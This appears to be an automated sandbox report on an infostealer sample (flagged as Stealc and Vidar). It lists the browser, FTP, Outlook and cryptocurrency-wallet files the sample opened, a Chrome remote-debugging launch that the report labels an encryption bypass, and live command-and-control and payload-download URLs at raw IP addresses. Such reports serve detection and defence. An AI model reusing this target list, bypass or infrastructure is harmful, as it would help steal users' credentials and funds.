Desktop\IndexedDB\https_guarda.co_0.indexeddb.leveldb\|1\|\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\\|.\|0\|Guarda Desktop\Local Storage\leveldb\|1\|\Guarda\Local Storage\leveldb\\|.\|0\|

Tries to harvest and steal Bitcoin Wallet information

Source: C:\Users\user\Desktop\file.exe

Key opened: HKEY_CURRENT_USER\SOFTWARE\monero-project\monero-core

Jump to behavior

Tries to harvest and steal browser information (history, passwords, etc)

Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\2o7hffxt.default-release\places.sqlite-wal	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\2o7hffxt.default-release\prefs.js	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\2o7hffxt.default-release\cookies.sqlite-shm	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Login Data	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Web Data	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\2o7hffxt.default-release\places.sqlite	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\2o7hffxt.default-release\cookies.sqlite-wal	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\2o7hffxt.default-release\cookies.sqlite	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Login Data	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\2o7hffxt.default-release\places.sqlite-shm	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\History	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\History	Jump to behavior

Tries to harvest and steal ftp login credentials

Source: C:\Users\user\Desktop\file.exe

File opened: C:\Users\user\AppData\Roaming\FileZilla\recentservers.xml

Jump to behavior

Tries to steal Crypto Currency Wallets

Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Bitcoin\wallets\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Electrum\wallets\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Electrum\wallets\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Electrum-LTC\wallets\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Electrum-LTC\wallets\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Exodus\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Exodus\exodus.wallet\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Exodus\exodus.wallet\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\ElectronCash\wallets\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\MultiDoge\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\jaxx\Local Storage\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\com.liberty.jaxx\IndexedDB\file__0.indexeddb.leveldb\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\atomic\Local Storage\leveldb\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Binance\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Coinomi\Coinomi\wallets\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Ledger Live\Local Storage\leveldb\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Ledger Live\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Ledger Live\Session Storage\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\atomic_qt\config\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\atomic_qt\exports\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Guarda\Local Storage\leveldb\	Jump to behavior

Tries to steal Mail credentials (via file / registry access)

Source: C:\Users\user\Desktop\file.exe	Key opened: HKEY_CURRENT_USER\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676\00000001	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Key opened: HKEY_CURRENT_USER\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676\00000002	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Key opened: HKEY_CURRENT_USER\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676\00000003	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Key opened: HKEY_CURRENT_USER\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676\00000004	Jump to behavior

Source: Yara match

File source: Process Memory Space: file.exe PID: 3564, type: MEMORYSTR

Remote Access Functionality

Attempt to bypass Chrome Application-Bound Encryption

Source: C:\Users\user\Desktop\file.exe

Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --remote-debugging-port=9229 --profile-directory="Default"

Yara detected Stealc

Source: Yara match	File source: 00000000.00000002.2808726790.0000000000441000.00000040.00000001.01000000.00000003.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000003.2251663743.0000000004E00000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000002.2812126951.00000000010CE000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: file.exe PID: 3564, type: MEMORYSTR
Source: Yara match	File source: dump.pcap, type: PCAP

Yara detected Vidar stealer

Source: Yara match

File source: Process Memory Space: file.exe PID: 3564, type: MEMORYSTR

Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CB20C40 sqlite3_bind_zeroblob,	0_2_6CB20C40
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CB20D60 sqlite3_bind_parameter_name,	0_2_6CB20D60
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CA48EA0 sqlite3_clear_bindings,	0_2_6CA48EA0

Mitre Att&ck Matrix

Reconnaissance	Resource Development	Initial Access	Execution	Persistence	Privilege Escalation	Defense Evasion	Credential Access	Discovery	Lateral Movement	Collection	Command and Control	Exfiltration	Impact
Gather Victim Identity Information	Acquire Infrastructure	Valid Accounts	1 Native API	1 DLL Side-Loading	1 DLL Side-Loading	1 Disable or Modify Tools	2 OS Credential Dumping	1 System Time Discovery	Remote Services	1 Archive Collected Data	12 Ingress Tool Transfer	Exfiltration Over Other Network Medium	Abuse Accessibility Features
Credentials	Domains	Default Accounts	2 Command and Scripting Interpreter	1 Scheduled Task/Job	1 Extra Window Memory Injection	1 Deobfuscate/Decode Files or Information	LSASS Memory	2 File and Directory Discovery	Remote Desktop Protocol	4 Data from Local System	21 Encrypted Channel	Exfiltration Over Bluetooth	Network Denial of Service
Email Addresses	DNS Server	Domain Accounts	1 Scheduled Task/Job	Logon Script (Windows)	112 Process Injection	4 Obfuscated Files or Information	Security Account Manager	236 System Information Discovery	SMB/Windows Admin Shares	1 Email Collection	1 Non-Standard Port	Automated Exfiltration	Data Encrypted for Impact
Employee Names	Virtual Private Server	Local Accounts	Cron	Login Hook	1 Scheduled Task/Job	12 Software Packing	NTDS	1 Query Registry	Distributed Component Object Model	Input Capture	1 Remote Access Software	Traffic Duplication	Data Destruction
Gather Victim Network Information	Server	Cloud Accounts	Launchd	Network Logon Script	Network Logon Script	1 DLL Side-Loading	LSA Secrets	851 Security Software Discovery	SSH	Keylogging	3 Non-Application Layer Protocol	Scheduled Transfer	Data Encrypted for Impact
Domain Properties	Botnet	Replication Through Removable Media	Scheduled Task	RC Scripts	RC Scripts	1 Extra Window Memory Injection	Cached Domain Credentials	2 Process Discovery	VNC	GUI Input Capture	114 Application Layer Protocol	Data Transfer Size Limits	Service Stop
DNS	Web Services	External Remote Services	Systemd Timers	Startup Items	Startup Items	121 Masquerading	DCSync	241 Virtualization/Sandbox Evasion	Windows Remote Management	Web Portal Capture	Commonly Used Port	Exfiltration Over C2 Channel	Inhibit System Recovery
Network Trust Dependencies	Serverless	Drive-by Compromise	Container Orchestration Job	Scheduled Task/Job	Scheduled Task/Job	241 Virtualization/Sandbox Evasion	Proc Filesystem	System Owner/User Discovery	Cloud Services	Credential API Hooking	Application Layer Protocol	Exfiltration Over Alternative Protocol	Defacement
Network Topology	Malvertising	Exploit Public-Facing Application	Command and Scripting Interpreter	At	At	112 Process Injection	/etc/passwd and /etc/shadow	Network Sniffing	Direct Cloud VM Connections	Data Staged	Web Protocols	Exfiltration Over Symmetric Encrypted Non-C2 Protocol	Internal Defacement

Behavior Graph

Hide Legend

Legend:

Process
Signature
Created File
DNS/IP Info
Is Dropped
Is Windows Process
Number of created Registry Values
Number of created Files
Visual Basic
Delphi
Java
.Net C# or VB.NET
C, C++ or other language
Is malicious
Internet

Source	Detection	Scanner	Label	Link
file.exe	100%	Avira	TR/Crypt.TPM.Gen
file.exe	100%	Joe Sandbox ML

Dropped Files

Source	Detection	Scanner
C:\ProgramData\freebl3.dll	0%	ReversingLabs
C:\ProgramData\mozglue.dll	0%	ReversingLabs
C:\ProgramData\msvcp140.dll	0%	ReversingLabs
C:\ProgramData\nss3.dll	0%	ReversingLabs
C:\ProgramData\softokn3.dll	0%	ReversingLabs
C:\ProgramData\vcruntime140.dll	0%	ReversingLabs
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\BLNS00AZ\freebl3[1].dll	0%	ReversingLabs
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\BLNS00AZ\mozglue[1].dll	0%	ReversingLabs
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\BLNS00AZ\msvcp140[1].dll	0%	ReversingLabs
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\BLNS00AZ\nss3[1].dll	0%	ReversingLabs
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\BLNS00AZ\rh[1].exe	24%	ReversingLabs
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\BLNS00AZ\softokn3[1].dll	0%	ReversingLabs
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\BLNS00AZ\vcruntime140[1].dll	0%	ReversingLabs
C:\Users\user\AppData\Local\Temp\1008496001\rh.exe	24%	ReversingLabs

Source	Detection	Scanner	Label
http://31.41.244.11/files/random.exe3b31:	0%	Avira URL Cloud	safe
http://31.41.244.11/files/random.exe6	0%	Avira URL Cloud	safe
http://31.41.244.11/files/random.exeurlencodedlnZbl	0%	Avira URL Cloud	safe
http://31.41.244.11/files/random.exe/	100%	Avira URL Cloud	malware
http://31.41.244.11/files/random.exe3	0%	Avira URL Cloud	safe
http://31.41.244.11/files/random.exe50623	0%	Avira URL Cloud	safe
http://185.215.113.206/c4becf79229cb002.phpBKJKFI.exeata;	100%	Avira URL Cloud	malware
http://31.41.244.11/files/random.exe1	0%	Avira URL Cloud	safe
http://185.215.113.206/c4becf79229cb002.phpY$I	100%	Avira URL Cloud	malware
http://185.215.113.206/68b591d6548ec281/freebl3.dll&	100%	Avira URL Cloud	malware
http://185.215.113.206/c4becf79229cb002.phpu$u	100%	Avira URL Cloud	malware
http://185.215.113.206/68b591d6548ec281/msvcp140.dllt	100%	Avira URL Cloud	malware
http://185.215.113.206/c4becf79229cb002.phpSY	100%	Avira URL Cloud	malware
http://31.41.244.11/files/rh.exeafc8506238476	0%	Avira URL Cloud	safe
http://185.215.113.206/68b591d6548ec281/msvcp140.dlle	100%	Avira URL Cloud	malware
http://31.41.244.11/files/random.exe1008496001	0%	Avira URL Cloud	safe
http://31.41.244.11/files/random.exe1008497001	0%	Avira URL Cloud	safe
http://31.41.244.11/files/rh.exe	100%	Avira URL Cloud	malware
http://185.215.113.206/68b591d6548ec281/vcruntime140.dlln	100%	Avira URL Cloud	malware
http://185.215.113.206/68b591d6548ec281/nss3.dllZ	100%	Avira URL Cloud	malware

Domains and IPs

Contacted Domains

Name	IP	Active	Malicious	Reputation
fg.microsoft.map.fastly.net	199.232.214.172	true	false	high
chrome.cloudflare-dns.com	162.159.61.3	true	false	high
plus.l.google.com	172.217.17.78	true	false	high
ssl.bingadsedgeextension-prod-europe.azurewebsites.net	94.245.104.56	true	false	high
sb.scorecardresearch.com	18.245.60.72	true	false	high
www.google.com	172.217.21.36	true	false	high
s-part-0035.t-0009.t-msedge.net	13.107.246.63	true	false	high
default.qdr.p1.ds-c7110-microsoft.global.dns.qwilted-cds.cqloud.com	84.201.211.23	true	false	high
googlehosted.l.googleusercontent.com	142.250.181.65	true	false	high
sni1gl.wpc.nucdn.net	152.199.21.175	true	false	high
clients2.googleusercontent.com	unknown	unknown	false	high
bzib.nelreports.net	unknown	unknown	false	high
assets.msn.com	unknown	unknown	false	high
c.msn.com	unknown	unknown	false	high
ntp.msn.com	unknown	unknown	false	high
apis.google.com	unknown	unknown	false	high
api.msn.com	unknown	unknown	false	high

Contacted URLs

Name	Malicious	Reputation
http://185.215.113.206/68b591d6548ec281/softokn3.dll	false	high
http://185.215.113.206/	false	high
http://185.215.113.43/Zu7JuNko/index.php	false	high
http://185.215.113.206/68b591d6548ec281/freebl3.dll	false	high
http://185.215.113.206/68b591d6548ec281/nss3.dll	false	high
https://www.google.com/async/newtab_ogb?hl=en-US&async=fixed:0	false	high
https://sb.scorecardresearch.com/b2?rn=1732387979692&c1=2&c2=3000001&cs_ucfr=1&c7=https%3A%2F%2Fntp.msn.com%2Fedge%2Fntp%3Flocale%3Den-GB%26title%3DNew%2Btab%26dsp%3D1%26sp%3DBing%26isFREModalBackground%3D1%26startpage%3D1%26PC%3DU531%26ocid%3Dmsedgdhp%26mkt%3Den-us&c8=New+tab&c9=&cs_fpid=18FD64FFA0C2612823B171BFA1EB6042&cs_fpit=o&cs_fpdm=null&cs_fpdt=null	false	high
https://browser.events.data.msn.com/OneCollector/1.0?cors=true&content-type=application/x-json-stream&client-id=NO_AUTH&client-version=1DS-Web-JS-3.2.8&apikey=0ded60c75e44443aa3484c42c1c43fe8-9fc57d3f-fdac-4bcf-b927-75eafe60192e-7279&upload-time=1732387988070&w=0&anoncknm=app_anon&NoResponseBody=true	false	high
https://browser.events.data.msn.com/OneCollector/1.0?cors=true&content-type=application/x-json-stream&client-id=NO_AUTH&client-version=1DS-Web-JS-3.2.8&apikey=0ded60c75e44443aa3484c42c1c43fe8-9fc57d3f-fdac-4bcf-b927-75eafe60192e-7279&upload-time=1732387986523&w=0&anoncknm=app_anon&NoResponseBody=true	false	high
https://browser.events.data.msn.com/OneCollector/1.0?cors=true&content-type=application/x-json-stream&client-id=NO_AUTH&client-version=1DS-Web-JS-3.2.8&apikey=0ded60c75e44443aa3484c42c1c43fe8-9fc57d3f-fdac-4bcf-b927-75eafe60192e-7279&upload-time=1732387987522&w=0&anoncknm=app_anon&NoResponseBody=true	false	high
https://sb.scorecardresearch.com/b?rn=1732387979692&c1=2&c2=3000001&cs_ucfr=1&c7=https%3A%2F%2Fntp.msn.com%2Fedge%2Fntp%3Flocale%3Den-GB%26title%3DNew%2Btab%26dsp%3D1%26sp%3DBing%26isFREModalBackground%3D1%26startpage%3D1%26PC%3DU531%26ocid%3Dmsedgdhp%26mkt%3Den-us&c8=New+tab&c9=&cs_fpid=18FD64FFA0C2612823B171BFA1EB6042&cs_fpit=o&cs_fpdm=null&cs_fpdt=null	false	high
https://tse1.mm.bing.net/th?id=OADD2.10239381854852_1C494UCJY4KXHZI51&pid=21.2&c=3&w=1080&h=1920&dynsize=1&qlt=90	false	high
http://185.215.113.206/68b591d6548ec281/vcruntime140.dll	false	high
https://c.msn.com/c.gif?rnd=1732387979691&udc=true&pg.n=default&pg.t=dhp&pg.c=547&pg.p=anaheim&rf=&tp=https%3A%2F%2Fntp.msn.com%2Fedge%2Fntp%3Flocale%3Den-GB%26title%3DNew%2520tab%26dsp%3D1%26sp%3DBing%26isFREModalBackground%3D1%26startpage%3D1%26PC%3DU531%26ocid%3Dmsedgdhp&cvs=Browser&di=340&st.dpt=&st.sdpt=antp&subcvs=homepage&lng=en-us&rid=c8e70ccf516a4388882ced3cf769c1c7&activityId=c8e70ccf516a4388882ced3cf769c1c7&d.imd=false&scr=1280x1024&anoncknm=app_anon&issso=&aadState=0	false	high
https://clients2.googleusercontent.com/crx/blobs/AW50ZFsLPhJJyx_4ShcDOgcEpJeOc7Vr0kMzfFRoaMfWx4pAgZ0UGF2i9_ei1A7FAHQ-EPFULeBn7F8_SEKhjbpEyKfiidX7GF_6BDOycMeg5w03wjwVQ61hkaEix8WFqmEAxlKa5cmz_tdFr9JtRwdqRu82wmLe2Ghe/GHBMNNJOOEKPMOECNNNILNNBDLOLHKHI_1_84_1_0.crx	false	high
http://185.215.113.16/mine/random.exe	false	high
http://185.215.113.206/68b591d6548ec281/sqlite3.dll	false	high
https://tse1.mm.bing.net/th?id=OADD2.10239370639330_1D80T5H13WVAODNQ8&pid=21.2&c=16&roil=0&roit=0&roir=1&roib=1&w=1920&h=1080&dynsize=1&qlt=90	false	high
http://185.215.113.206/68b591d6548ec281/mozglue.dll	false	high
https://browser.events.data.msn.com/OneCollector/1.0?cors=true&content-type=application/x-json-stream&client-id=NO_AUTH&client-version=1DS-Web-JS-3.2.8&apikey=0ded60c75e44443aa3484c42c1c43fe8-9fc57d3f-fdac-4bcf-b927-75eafe60192e-7279&upload-time=1732387986520&w=0&anoncknm=app_anon&NoResponseBody=true	false	high

URLs from Memory and Binaries

Name	Source	Malicious	Antivirus Detection	Reputation
https://duckduckgo.com/chrome_newtab	file.exe, 00000000.00000003.2566435873.000000002367E000.00000004.00000020.00020000.00000000.sdmp, FIIEGDBA.0.dr, Web Data.14.dr	false		high
https://c.msn.com/	2cc80dabc69f58b6_1.14.dr	false		high
https://duckduckgo.com/ac/?q=	file.exe, 00000000.00000003.2566435873.000000002367E000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000002.2812126951.0000000001146000.00000004.00000020.00020000.00000000.sdmp, FIIEGDBA.0.dr, Web Data.14.dr	false		high
http://www.broofa.com	chromecache_522.8.dr	false		high
http://31.41.244.11/files/random.exe50623	skotes.exe, 00000026.00000002.3455388933.00000000012C5000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://ntp.msn.com/0	000003.log.14.dr	false		high
https://ntp.msn.com/_default	QuotaManager.14.dr	false		high
https://deff.nelreports.net/api/report?cat=msn	2cc80dabc69f58b6_0.14.dr	false		high
https://ntp.msn.cn/edge/ntp	2cc80dabc69f58b6_1.14.dr	false		high
http://31.41.244.11/files/random.exe6	skotes.exe, 00000026.00000002.3455388933.00000000012C5000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://185.215.113.43/Zu7JuNko/index.phpnu	skotes.exe, 00000026.00000002.3455388933.000000000127C000.00000004.00000020.00020000.00000000.sdmp	false		high
https://sb.scorecardresearch.com/	2cc80dabc69f58b6_1.14.dr	false		high
https://deff.nelreports.net/api/report	Reporting and NEL.15.dr	false		high
http://31.41.244.11/files/random.exe3	skotes.exe, 00000026.00000002.3455388933.0000000001297000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://31.41.244.11/files/random.exe1	skotes.exe, 00000026.00000002.3455388933.0000000001297000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://docs.google.com/	manifest.json0.14.dr	false		high
http://185.215.113.206/c4becf79229cb002.phpBKJKFI.exeata;	file.exe, 00000000.00000002.2808726790.00000000005A7000.00000040.00000001.01000000.00000003.sdmp	false	Avira URL Cloud: malware	unknown
http://31.41.244.11/files/random.exe/	skotes.exe, 00000026.00000002.3455388933.0000000001297000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: malware	unknown
https://deff.nelreports.net/api/report?cat=msnw	Reporting and NEL.15.dr	false		high
http://31.41.244.11/files/random.exeurlencodedlnZbl	skotes.exe, 00000026.00000002.3455388933.00000000012C5000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://drive.google.com/	manifest.json0.14.dr	false		high
http://185.215.113.206/68b591d6548ec281/freebl3.dll&	file.exe, 00000000.00000002.2812126951.000000000112A000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: malware	unknown
http://185.215.113.206/c4becf79229cb002.phpY$I	file.exe, 00000000.00000002.2812126951.0000000001146000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: malware	unknown
https://unitedstates4.ss.wd.microsoft.us/	edgeSettings_2.0-48b11410dc937a1723bf4c5ad33ecdb286d8ec69544241bc373f753e64b396c1.14.dr	false		high
http://31.41.244.11/files/random.exe3b31:	skotes.exe, 00000026.00000002.3455388933.0000000001297000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://www.mozilla.com/en-US/blocklist/	file.exe, file.exe, 00000000.00000002.2852583590.000000006C9AD000.00000002.00000001.01000000.0000000A.sdmp, mozglue[1].dll.0.dr, mozglue.dll.0.dr	false		high
https://mozilla.org0/	freebl3[1].dll.0.dr, softokn3[1].dll.0.dr, nss3.dll.0.dr, freebl3.dll.0.dr, nss3[1].dll.0.dr, mozglue[1].dll.0.dr, mozglue.dll.0.dr, softokn3.dll.0.dr	false		high
http://185.215.113.206/c4becf79229cb002.phpSY	file.exe, 00000000.00000002.2844098891.00000000236E4000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: malware	unknown
https://drive-daily-2.corp.google.com/	manifest.json0.14.dr	false		high
https://imp.mt48.net/static?id=7RHzfOIXjFEYsBdvIpkX4Qqm4pLk4pqk4pbW1pbWfpbW7ReNxR3UIG8zInwYIFIVs9eYi	DGHCBAAEHCFIDGDHJEHC.0.dr	false		high
https://drive-daily-4.corp.google.com/	manifest.json0.14.dr	false		high
https://srtb.msn.com/	2cc80dabc69f58b6_1.14.dr	false		high
https://unitedstates1.ss.wd.microsoft.us/	edgeSettings_2.0-48b11410dc937a1723bf4c5ad33ecdb286d8ec69544241bc373f753e64b396c1.14.dr	false		high
https://duckduckgo.com/favicon.icohttps://duckduckgo.com/?q=	file.exe, 00000000.00000003.2566435873.000000002367E000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000002.2812126951.0000000001146000.00000004.00000020.00020000.00000000.sdmp, FIIEGDBA.0.dr, Web Data.14.dr	false		high
http://185.215.113.206/68b591d6548ec281/msvcp140.dllt	file.exe, 00000000.00000002.2812126951.000000000112A000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: malware	unknown
https://assets.msn.com	4b23e3eb-7f01-495b-8013-853f0b64bb3c.tmp.15.dr	false		high
https://www.ecosia.org/newtab/	FIIEGDBA.0.dr	false		high
https://drive-daily-1.corp.google.com/	manifest.json0.14.dr	false		high
http://185.215.113.206/c4becf79229cb002.php1	file.exe, 00000000.00000002.2812126951.0000000001146000.00000004.00000020.00020000.00000000.sdmp	false		high
https://support.mozilla.org/kb/customize-firefox-controls-buttons-and-toolbars?utm_source=firefox-br	CBAKJKJJJECFIEBFHIEGHJDAFI.0.dr	false		high
http://185.215.113.206ngineer	file.exe, 00000000.00000002.2808726790.00000000005A7000.00000040.00000001.01000000.00000003.sdmp	false		high
https://drive-daily-5.corp.google.com/	manifest.json0.14.dr	false		high
https://play.google.com/log?format=json&hasfast=true	chromecache_522.8.dr	false		high
http://185.215.113.206/68b591d6548ec281/msvcp140.dlle	file.exe, 00000000.00000002.2812126951.000000000112A000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: malware	unknown
https://bzib.nelreports.net/api/report?cat=bingbusiness	Reporting and NEL.15.dr	false		high
https://www.google.com/chrome	content_new.js.14.dr, content.js.14.dr	false		high
https://support.mozilla.org/products/firefoxgro.allizom.troppus.ZAnPVwXvBbYt	CBAKJKJJJECFIEBFHIEGHJDAFI.0.dr	false		high
https://www.msn.com/web-notification-icon-light.png	2cc80dabc69f58b6_1.14.dr	false		high
https://chromewebstore.google.com/	manifest.json.14.dr	false		high
https://drive-preprod.corp.google.com/	manifest.json0.14.dr	false		high
https://srtb.msn.cn/	2cc80dabc69f58b6_1.14.dr	false		high
http://31.41.244.11/files/rh.exeafc8506238476	skotes.exe, 00000026.00000002.3455388933.000000000126A000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://msn.comXIDv10	Cookies.15.dr	false		high
http://31.41.244.11/files/random.exe	skotes.exe, 00000026.00000002.3455388933.00000000011FB000.00000004.00000020.00020000.00000000.sdmp, skotes.exe, 00000026.00000002.3455388933.00000000012C5000.00000004.00000020.00020000.00000000.sdmp	false		high
https://chrome.google.com/webstore/	manifest.json.14.dr	false		high
https://unitedstates2.ss.wd.microsoft.us/	edgeSettings_2.0-48b11410dc937a1723bf4c5ad33ecdb286d8ec69544241bc373f753e64b396c1.14.dr	false		high
http://185.215.113.206/68b591d6548ec281/nss3.dllZ	file.exe, 00000000.00000002.2812126951.000000000112A000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: malware	unknown
https://assets.msn.cn/resolver/	2cc80dabc69f58b6_1.14.dr	false		high
https://bridge.sfo1.ap01.net/ctp?version=16.0.0&key=1696484494400800000.1&ci=1696484494189.12791&cta	file.exe, 00000000.00000002.2844098891.00000000236D3000.00000004.00000020.00020000.00000000.sdmp, DGHCBAAEHCFIDGDHJEHC.0.dr	false		high
http://31.41.244.11/files/random.exe1008496001	skotes.exe, 00000026.00000002.3455388933.0000000001297000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://185.215.113.206/c4becf79229cb002.phpu$u	file.exe, 00000000.00000002.2812126951.0000000001146000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: malware	unknown
https://browser.events.data.msn.com/	2cc80dabc69f58b6_1.14.dr	false		high
https://ntp.msn.com/edge/ntp	000003.log.14.dr, 2cc80dabc69f58b6_1.14.dr	false		high
https://assets.msn.com/resolver/	2cc80dabc69f58b6_1.14.dr	false		high
https://ch.search.yahoo.com/sugg/chrome?output=fxjson&appid=crmas&command=	file.exe, 00000000.00000003.2566435873.000000002367E000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000002.2812126951.0000000001146000.00000004.00000020.00020000.00000000.sdmp, FIIEGDBA.0.dr, Web Data.14.dr	false		high
https://contile-images.services.mozilla.com/T23eBL4EHswiSaF6kya2gYsRHvdfADK-NYjs1mVRNGE.3351.jpg	file.exe, 00000000.00000002.2844098891.00000000236D3000.00000004.00000020.00020000.00000000.sdmp, DGHCBAAEHCFIDGDHJEHC.0.dr	false		high
https://ntp.msn.com	000003.log2.14.dr	false		high
http://185.215.113.206/c4becf79229cb002.phpx	file.exe, 00000000.00000002.2812126951.000000000112A000.00000004.00000020.00020000.00000000.sdmp	false		high
http://31.41.244.11/files/random.exe1008497001	skotes.exe, 00000026.00000002.3455388933.00000000012C5000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://browser.events.data.msn.cn/	2cc80dabc69f58b6_1.14.dr	false		high
http://185.215.113.206/68b591d6548ec281/vcruntime140.dlln	file.exe, 00000000.00000002.2844098891.00000000236D3000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: malware	unknown
https://drive-staging.corp.google.com/	manifest.json0.14.dr	false		high
http://31.41.244.11/files/rh.exe	skotes.exe, 00000026.00000002.3455388933.00000000011FB000.00000004.00000020.00020000.00000000.sdmp, skotes.exe, 00000026.00000002.3455388933.000000000126A000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: malware	unknown
https://ch.search.yahoo.com/favicon.icohttps://ch.search.yahoo.com/search	file.exe, 00000000.00000003.2566435873.000000002367E000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000002.2812126951.0000000001146000.00000004.00000020.00020000.00000000.sdmp, FIIEGDBA.0.dr, Web Data.14.dr	false		high
https://apis.google.com	chromecache_522.8.dr	false		high
